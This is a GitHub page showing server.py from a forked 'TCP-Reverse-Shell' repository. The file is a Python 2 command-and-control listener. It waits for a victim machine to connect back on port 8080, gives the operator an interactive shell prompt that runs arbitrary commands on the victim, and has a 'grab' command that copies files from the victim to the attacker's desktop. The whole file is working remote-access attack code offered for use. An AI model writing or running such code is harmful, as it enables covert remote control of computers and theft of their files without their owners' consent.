forked from apurvsinghgautam/TCP-Reverse-Shell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.py
48 lines (38 loc) · 1.26 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#Server
import socket #For building TCP Connection
import os #For file operations
def transfer(conn,command):
conn.send(command)
f=open('/root/Desktop/testfile.png','wb')
while True:
packet=conn.recv(1024)
if 'Unable to find out the file' in packet:
print '[-] Unable to find out the file'
break
if packet.endswith('DONE'):
print '[+] Transfer Completed'
f.close()
break
f.write(packet)
def connect():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("10.10.10.10",8080)) #Specify the IP address and Port number
s.listen(1) #For listening to one connection
print '[+] Listening for incoming TCP connection on port 8080'
conn,addr=s.accept()
print '[+] We got a connection from: ',addr
while True:
command=raw_input("Shell> ")
if 'terminate' in command:
conn.send('terminate')
conn.close() #Close the socket
break
elif 'grab' in command:
# grab*C:\Users\file-name.extension
transfer(conn,command)
else:
conn.send(command) #Send command
print conn.recv(1024)
def main():
connect()
main()